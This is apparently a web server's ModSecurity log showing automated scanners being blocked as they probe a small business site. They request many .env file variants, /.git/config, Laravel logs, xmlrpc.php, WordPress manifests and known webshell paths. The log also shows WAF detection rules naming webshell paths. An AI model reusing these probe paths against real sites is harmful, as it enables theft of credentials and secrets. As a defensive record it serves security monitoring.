[Sun May 17 16:12:34.037464 2026] [:error] [pid 17234:tid 17244] [client 34.148.77.178:36612] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "agl4ctJ4QOrYRCeDR2hLVgAAAUg"]
[Sun May 17 16:12:34.881184 2026] [:error] [pid 10834:tid 10855] [client 34.148.77.178:36620] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "agl4chISNQ_Nf83-VpqWIgAAAck"]
[Sun May 17 16:12:35.728946 2026] [:error] [pid 59166:tid 59173] [client 34.148.77.178:36628] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "agl4c0_puQ1I47_0UrjkNAAAAMU"]
[Sun May 17 16:12:36.573527 2026] [:error] [pid 59166:tid 59170] [client 34.148.77.178:36630] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "agl4dE_puQ1I47_0UrjkNQAAAMI"]
[Sun May 17 16:12:37.418772 2026] [:error] [pid 10834:tid 10853] [client 34.148.77.178:36632] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "agl4dRISNQ_Nf83-VpqWJAAAAcc"]
[Sun May 17 16:12:38.263294 2026] [:error] [pid 10784:tid 10817] [client 34.148.77.178:36636] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "agl4dmBWRlKsFkSZGxA4IwAAAZE"]
[Sun May 17 16:12:39.108562 2026] [:error] [pid 59062:tid 59139] [client 34.148.77.178:36646] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "agl4dz4V9GkVWmCFmGb54QAAAJA"]
[Sun May 17 16:12:39.954454 2026] [:error] [pid 59060:tid 59088] [client 34.148.77.178:59788] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "agl4d_vwvq3bndkPE4nmKgAAABM"]
[Sun May 17 16:12:40.806399 2026] [:error] [pid 11079:tid 11128] [client 34.148.77.178:59790] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "agl4eGeR3-DrxhvUqxHELQAAAlg"]
[Sun May 17 16:12:41.654749 2026] [:error] [pid 10834:tid 10847] [client 34.148.77.178:59796] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.stage"] [unique_id "agl4eRISNQ_Nf83-VpqWJwAAAcE"]
[Sun May 17 16:12:42.517439 2026] [:error] [pid 10835:tid 10879] [client 34.148.77.178:59802] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.ci"] [unique_id "agl4ekk8lW0-dtknLl8HYgAAAgY"]
[Sun May 17 16:12:43.369408 2026] [:error] [pid 59062:tid 59143] [client 34.148.77.178:59814] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "agl4ez4V9GkVWmCFmGb54wAAAJQ"]
[Sun May 17 16:12:44.223287 2026] [:error] [pid 59062:tid 59124] [client 34.148.77.178:59822] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.live"] [unique_id "agl4fD4V9GkVWmCFmGb55QAAAIE"]
[Sun May 17 16:12:45.077764 2026] [:error] [pid 10835:tid 10887] [client 34.148.77.178:59832] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.preprod"] [unique_id "agl4fUk8lW0-dtknLl8HYwAAAg4"]
[Sun May 17 16:12:45.924119 2026] [:error] [pid 10835:tid 10881] [client 34.148.77.178:59844] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.uat"] [unique_id "agl4fUk8lW0-dtknLl8HZAAAAgg"]
[Sun May 17 16:12:46.783967 2026] [:error] [pid 11079:tid 11119] [client 34.148.77.178:59850] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "agl4fmeR3-DrxhvUqxHELgAAAk8"]
[Sun May 17 16:12:47.637116 2026] [:error] [pid 11079:tid 11100] [client 34.148.77.178:59854] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "agl4f2eR3-DrxhvUqxHELwAAAkA"]
[Sun May 17 16:12:48.485778 2026] [:error] [pid 36652:tid 36660] [client 34.148.77.178:59864] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "agl4gDZrzQadnZADvj9QhgAAAQY"]
[Sun May 17 16:12:49.331932 2026] [:error] [pid 59062:tid 59136] [client 34.148.77.178:59872] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "agl4gT4V9GkVWmCFmGb55gAAAI0"]
[Sun May 17 16:12:50.182543 2026] [:error] [pid 10835:tid 10889] [client 34.148.77.178:44406] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/apps/.env"] [unique_id "agl4gkk8lW0-dtknLl8HZQAAAhA"]
[Sun May 17 16:12:51.026461 2026] [:error] [pid 59062:tid 59128] [client 34.148.77.178:44420] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "agl4gz4V9GkVWmCFmGb55wAAAIU"]
[Sun May 17 16:12:51.882263 2026] [:error] [pid 10834:tid 10861] [client 34.148.77.178:44424] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.env"] [unique_id "agl4gxISNQ_Nf83-VpqWLAAAAc8"]
[Sun May 17 16:12:52.732786 2026] [:error] [pid 17234:tid 17255] [client 34.148.77.178:44436] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.env"] [unique_id "agl4hNJ4QOrYRCeDR2hLWwAAAVM"]
[Sun May 17 16:12:53.572266 2026] [:error] [pid 10835:tid 10874] [client 34.148.77.178:44448] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "agl4hUk8lW0-dtknLl8HaAAAAgE"]
[Sun May 17 16:12:54.417642 2026] [:error] [pid 10835:tid 10886] [client 34.148.77.178:44452] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "agl4hkk8lW0-dtknLl8HawAAAg0"]
[Sun May 17 16:12:55.265119 2026] [:error] [pid 11079:tid 11108] [client 34.148.77.178:44466] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "agl4h2eR3-DrxhvUqxHENAAAAkc"]
[Sun May 17 16:12:56.117886 2026] [:error] [pid 11079:tid 11105] [client 34.148.77.178:44474] [client 34.148.77.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/server/.env"] [unique_id "agl4iGeR3-DrxhvUqxHEOAAAAkU"]
[Mon May 18 03:23:22.507341 2026] [:error] [pid 11079:tid 11125] [client 74.208.105.154:48712] [client 74.208.105.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "agoVqmeR3-DrxhvUqxEvEwAAAlU"]
[Mon May 18 11:29:50.214927 2026] [:error] [pid 36491:tid 36501] [client 194.62.107.187:47419] [client 194.62.107.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "agqHrk555B9CZb6D60l5pgAAAUY"]
[Mon May 18 18:15:43.375474 2026] [:error] [pid 36492:tid 36524] [client 35.252.132.132:59048] [client 35.252.132.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.252.132.132, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agrmz2CVlogrkn9m2w7PewAAAAI"]
[Mon May 18 18:15:43.384921 2026] [proxy_fcgi:error] [pid 36492:tid 36524] [client 35.252.132.132:59048] AH01071: Got error 'Primary script unknown'
[Mon May 18 18:15:46.467733 2026] [:error] [pid 36492:tid 36530] [client 35.252.132.132:59048] [client 35.252.132.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "agrm0mCVlogrkn9m2w7PigAAAAg"]
[Mon May 18 18:15:46.799347 2026] [:error] [pid 36493:tid 36562] [client 35.252.132.132:61036] [client 35.252.132.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "agrm0gynkzQB5nM668q9kQAAAQ0"]
[Mon May 18 18:15:47.155951 2026] [:error] [pid 44087:tid 44106] [client 35.252.132.132:55828] [client 35.252.132.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "agrm025HPHbH9GK7l6zsxAAAAdE"]
[Mon May 18 18:15:47.519633 2026] [:error] [pid 44087:tid 44113] [client 35.252.132.132:61119] [client 35.252.132.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "agrm025HPHbH9GK7l6zsxQAAAdc"]
[Mon May 18 18:15:47.851848 2026] [:error] [pid 36493:tid 36556] [client 35.252.132.132:60866] [client 35.252.132.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "agrm0wynkzQB5nM668q9kgAAAQc"]
[Mon May 18 18:15:48.205376 2026] [:error] [pid 44010:tid 44023] [client 35.252.132.132:52979] [client 35.252.132.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "agrm1DcFUuogD3-74-ZzCwAAAMs"]
[Mon May 18 18:15:48.533859 2026] [:error] [pid 36493:tid 36565] [client 35.252.132.132:54543] [client 35.252.132.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "agrm1AynkzQB5nM668q9kwAAARA"]
[Tue May 19 00:17:09.273076 2026] [:error] [pid 44087:tid 44094] [client 5.255.113.213:47640] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "ags7hW5HPHbH9GK7l6wG9wAAAcU"]
[Tue May 19 00:17:09.273982 2026] [:error] [pid 36491:tid 36516] [client 5.255.113.213:47636] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "ags7hU555B9CZb6D60nrUAAAAVU"]
[Tue May 19 00:17:09.274626 2026] [:error] [pid 36491:tid 36519] [client 5.255.113.213:47592] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "ags7hU555B9CZb6D60nrUgAAAVg"]
[Tue May 19 00:17:09.275029 2026] [:error] [pid 36491:tid 36509] [client 5.255.113.213:47558] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "ags7hU555B9CZb6D60nrUwAAAU4"]
[Tue May 19 00:17:09.276129 2026] [:error] [pid 36491:tid 36497] [client 5.255.113.213:47520] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/storage/logs/laravel.log"] [unique_id "ags7hU555B9CZb6D60nrUQAAAUI"]
[Tue May 19 00:17:09.276785 2026] [:error] [pid 44087:tid 44089] [client 5.255.113.213:47478] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "ags7hW5HPHbH9GK7l6wG-AAAAcA"]
[Tue May 19 00:17:09.279486 2026] [:error] [pid 44087:tid 44097] [client 5.255.113.213:47794] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "ags7hW5HPHbH9GK7l6wG-wAAAcg"]
[Tue May 19 00:17:09.283145 2026] [:error] [pid 36493:tid 36572] [client 5.255.113.213:47626] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "ags7hQynkzQB5nM668raegAAARc"]
[Tue May 19 00:17:09.283842 2026] [:error] [pid 43916:tid 43942] [client 5.255.113.213:47608] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "ags7hdQC236p33zJJvnYqwAAAJI"]
[Tue May 19 00:17:09.284232 2026] [:error] [pid 36492:tid 36536] [client 5.255.113.213:47654] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "ags7hWCVlogrkn9m2w4U9AAAAA4"]
[Tue May 19 00:17:09.284523 2026] [:error] [pid 36492:tid 36535] [client 5.255.113.213:47580] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "ags7hWCVlogrkn9m2w4U9QAAAA0"]
[Tue May 19 00:17:09.284559 2026] [:error] [pid 43916:tid 43935] [client 5.255.113.213:47606] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "ags7hdQC236p33zJJvnYrAAAAIs"]
[Tue May 19 00:17:09.284986 2026] [:error] [pid 36492:tid 36545] [client 5.255.113.213:47572] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "ags7hWCVlogrkn9m2w4U9gAAABc"]
[Tue May 19 00:17:09.285448 2026] [:error] [pid 36492:tid 36532] [client 5.255.113.213:47538] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ags7hWCVlogrkn9m2w4U9wAAAAo"]
[Tue May 19 00:17:09.285634 2026] [:error] [pid 36492:tid 36529] [client 5.255.113.213:47544] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "ags7hWCVlogrkn9m2w4U-AAAAAc"]
[Tue May 19 00:17:09.313141 2026] [:error] [pid 36492:tid 36533] [client 5.255.113.213:47646] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "ags7hWCVlogrkn9m2w4U-gAAAAs"]
[Tue May 19 00:17:09.323710 2026] [:error] [pid 43916:tid 43926] [client 5.255.113.213:47548] [client 5.255.113.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "ags7hdQC236p33zJJvnYrQAAAII"]
[Tue May 19 03:10:22.965133 2026] [:error] [pid 44010:tid 44032] [client 45.61.149.159:56284] [client 45.61.149.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "agtkHjcFUuogD3-74-aSVAAAANQ"]
[Tue May 19 04:40:48.832614 2026] [:error] [pid 41573:tid 41591] [client 176.224.218.131:53933] [client 176.224.218.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.224.218.131, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agt5UC1A2bd6JDSW9RYaIQAAARA"]
[Tue May 19 04:40:48.845628 2026] [proxy_fcgi:error] [pid 41573:tid 41591] [client 176.224.218.131:53933] AH01071: Got error 'Primary script unknown'
